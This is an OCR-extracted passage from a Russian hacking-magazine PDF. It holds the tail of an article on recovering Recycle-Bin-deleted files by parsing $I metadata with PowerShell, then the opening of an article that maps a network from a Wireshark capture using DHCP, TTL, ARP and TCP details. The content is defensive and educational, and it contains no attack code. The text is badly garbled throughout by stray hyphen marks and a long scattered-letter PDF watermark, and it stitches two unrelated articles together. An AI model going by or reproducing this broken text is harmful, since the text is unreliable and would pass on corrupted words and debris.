Структуру­ файла­ $I мы уже разобрали­ и помним­ , что байты­ с 0 до 26 отво ­ дятся­ на файловый­ заголовок­ , размер­ файла­ в байтах­ , атрибу­ т $SI Changed Time и размер­ файловог­ о имени­ . А начиная с индекса 27 до конца­ файла­ хра ­ нится­ полное­ имя файла­ (путь + имя). Зная эту информацию­ , мы можем получить недостающий­ элемен­ т для восста­ ­нов­ления нашего калькулято­ ­ра.

Для этог­ о мы декодируем­ значения­ массива­ с индекса 27 до конца­ мас ­ сива в UTF8 и восполь­ зуем­ ся­ командле­ том­ Split-Path, чтобы­ получить только­ имя файла­ :

$filename = Split-Path -Path ([System.Text.Encoding]::UTF8.GetString(

$Byte_Array[27..$Byte_Array.Length])) -Leaf

Все данные­ для восста­ ­нов­ления нерезиден­ ­тно­го файла­ $ROWX1VN.exe у нас есть, и способ­ мы уже изучили­ , поэтому­ дело за малым. Готовый сценарий­

для восста­ ­нов­ления удален­ ­ных через корзину­ файлов­ можно­ найти­ на GitHub.

ВЫВОДЫ

Восста­ ­нов­ление удален­ ­ных файлов­ — задача довольно­ кропот­ ­ливая и инте ­ ресная­ . Хотя автомати­ ­зиро­ван­ных средств для этого­ предос­ ­таточ­но, лучше­ не доводить дело до потери данных­ . Чтобы­ обезопа­ ­сить себя от утраты­ цен ­ ной информации­ , не забывай создавать­ бэкапы и хранить­ их по принципу­ 3-2- 1.

Думаю­ , что с полученными­ знаниями­ читателю­ не состави­ т труда­ раз ­ работать собствен­ ­ную программу­ для автомати­ ­зации процес­ ­са восста­ ­нов ­ ления. Ведь, как писал Крис в своей­ книге­ , «настоящий­ хакер сам разрабаты­ ­ вает свой инстру­ ­мен­тарий».

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

АДМИН

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

 

 

 

 

 

e

 

 

p

df

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

 

 

e

 

 

 

p

df

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ВОССОЗДАЕМ СХЕМУ ПОДКЛЮЧЕНИЙ ИЗ ДАМПА ТРАФИКА

Изучение­ структуры­ сетевых протоко­ лов­ поможет тебе более глубоко­ понять прин ­ цип их работы и функции­ . В этой статье мы проана­ лизи­ руем­ небольшой­ фрагмент­ сетевого­ трафика­ и зарисуем­ предполага­ ­ емую схему­ сети, исходя­ из полученных­ данных­ .

Alexander Mikhailov mikhailov.alexander99@yandex.ru

Я сформирова­

л дамп сетевого­ трафика­

на своем­ лаборатор­ ном­

стенде­

с помощью фильтра­ захвата­

(Capture Filtering) в Wireshark с некоторыми­

усло ­

виями. Вот что из этого­ вышло­ .

 

 

 

Мы будем раскры­ вать­

по порядку­

каждый­

захвачен­

ный­

пакет

и

искать

в инкапсулиру­

емых­

данных­

интересу­

ющу­ ю нас информацию­

о

схеме­

исходной сети. Затем мы изобразим­

эту информацию­

графичес­

ки­ (для этого­

будем использовать­

ресурс diagrams.net).

 

 

 

 

 

 

 

УЗНАЕМ КАНАЛЬНЫЕ И СЕТЕВЫЕ АДРЕСА ПЕРВЫХ УСТРОЙСТВ

Из первых­ четырех пакетов сразу­ видно­ , что некое устройство­ получае­ т IPадрес и другие­ сетевые параметры­ по DHCP. Раскры­ ваем­ первый­ пакет.

Сразу­ бросает­ ся­ в глаза­ MAC-адрес клиент­ ско­ го­ устройства­ . Сетевой адрес этог­ о девайса­ нам пока неизвестен­ , потому что он еще не получил его, а адреса­ назначения­ — широковеща­ тель­ ные­ .

Идем дальше­ . Возможно­ , ты обрати­ л внимание­ на IP-адрес 192.168.30.2 в разделе­ заголовка­ 50 DHCP. Это означает­ , что клиен­ т запрашива­ е­ т именно­ этот IP-адрес, так как ранее, возможно­ , он его уже получал. Но пока мы не станем­ отображать­ его на схеме­ и дождемся­ окончатель­ ного­ ответа­ от DHCP-сервера­ .

И последнее­ , что нам интерес­ ­но в этом пакете, — опция 12 DHCP. Здесь отобража­ ­ется имя устройства­ . Теперь перенесем­ полученные­ данные­ на схе ­ му.

Следующий­ пакет DHCP Ofer — в ответе­ на сообщение­ клиента­ сервер­ пред ­ лагае­ т возможные­ сетевые параметры­ .

Как мы видим, на запрос­ клиента­ ответи­ л DHCP-сервер­ с IP-адресом­ 192. 168.30.1 и MAC-адресом­ 00:19:56:bb:41:09. Он предложи­ л клиенту­ IPадрес 192.168.30.2 (кстати­ , тот, который клиен­ т и запрашивал­ , поле Your IP address) и маску­ сети 255.255.255.128. Отлично, дополним­ схему­ новыми данными­ .

Новые­ элемен­ ты­ я буду окрашивать­ в красный­ цвет для нагляднос­ ти­ .

MICROSOFT WINDOWS И CISCO IOS, ИЛИ ПРИ ЧЕМ ЗДЕСЬ TTL?

Сообще­ ние­ DHCP Request не несет в себе новой информации­ , кроме­ того, что в опции 55 клиен­ т запрашива­ е­ т дополнитель­ ные­ параметры­ у DHCP-сер ­ вера: сетевую маску­ , адрес шлюза­ , сервер­ DNS и доменное­ имя.

Еще хочу обратить­ внимание­ на поле Time to Live заголовка­ IPv4 данного­ сообщения­ .

TTL — значение­ , которое определя­ ­ет время­ жизни­ пакета. Это значение­ дек ­ рементиру­ ­ется на единицу­ каждый­ раз, когда­ пакет проходи­ т через маршру­ ­ тизирующее­ устройств­ о по пути к месту­ назначения­ .

Дело­ в том, что по умолчани­ ю для разных­ операци­ ­онных систем­ типичны­ свои значения­ TTL.

Посколь­ ку­ в клиент­ ском­ сообщении­ DHCP Request TTL имее­ т значение­ 128, мы можем предположить­ , что это устройство­ под управлением­ ОС Windows.

Последнее­ сообщение­ , свидетель­ ству­ ющее­ об успешном окончании­ взаимо­ ­ действия­ клиента­ и DHCP-сервера­ , — DHCP ACK.

Вэтом сообщении­ DHCP-сервер­ присваивае­ т клиенту­ :

IP-адрес 192.168.30.2 (поле Your IP address);

маску­ сети 255.255.255.128 (опция 1);

шлюз 192.168.30.1 (опция 3);

DNS 8.8.8.8 (опция 6).

Здесь также­ задаются­ времен­ ные­ интервалы­ аренды­ адреса­ , его продления­

и запроса­ адреса­ от других­ локальных­ DHCP-серверов­ , в случае­ если преж ­ ний сервер­ недоступен­ (опции 51, 58 и 59 соответс­ твен­ но­ ).

И напоследок­ глянем­ на TTL IP-пакета от DHCP-сервера­ .

Значение­ 255 указыва­ е­ т на Cisco IOS. Можно­ даже проверить­ произво­ дите­ ля­ устройства­ по MAC-адресу­ на онлайн сервисах­ , которых полно­ в интернете­ .

Получа­ ется­ , что в качестве­ DHCP-сервера­ в сети функци­ они­ руе­ т маршру­ ­ тизатор­ Cisco. Исследовав­ четыре перехвачен­ ных­ пакета, можем пред ­ положить следующу­ ю схему­ сети.

РАСКРЫВАЕМ ARP И TCP

Раскро­ ем­ пятый по очереди­ пакет (а точнее­ , кадр) ARP.

Здесь хост 192.168.30.2 с помощью широковеща­ ­тель­ной рассылки­ пыта ­ ется выяснить­ MAC-адрес у хоста­ 192.168.30.48. Значение­ 1 в поле Opcode означает­ , что это именно­ запрос­ , а значение­ 2 — ответ. И если посмотреть­

на полный­ скрин дампа­ в начале статьи, то мы не увидим­ там ответа­ на ARPзапрос­ . Поэтому­ существо­ ­вание хоста­ 192.168.30.48 ставит­ ­ся под вопрос­ .

Двигаем­ ся­ дальше­ и смотрим­ на пакеты 6 и 7. Они, в принципе­ , одинако­ вые­ .

Хост 192.168.20.27, не получив ответа­ , пытается­ повторно­ установить­ TCPсесси­ ю с веб сервером­ (о чем свидетель­ ству­ е­ т порт назначения­ 443), отправляя­ SYN-запросы­ . Отобразим­ на схеме­ веб сервер­ и хост под управлением­ Windows (посколь­ ку­ TTL = 128).

Продолжение статьи

Соседние файлы в папке журнал хакер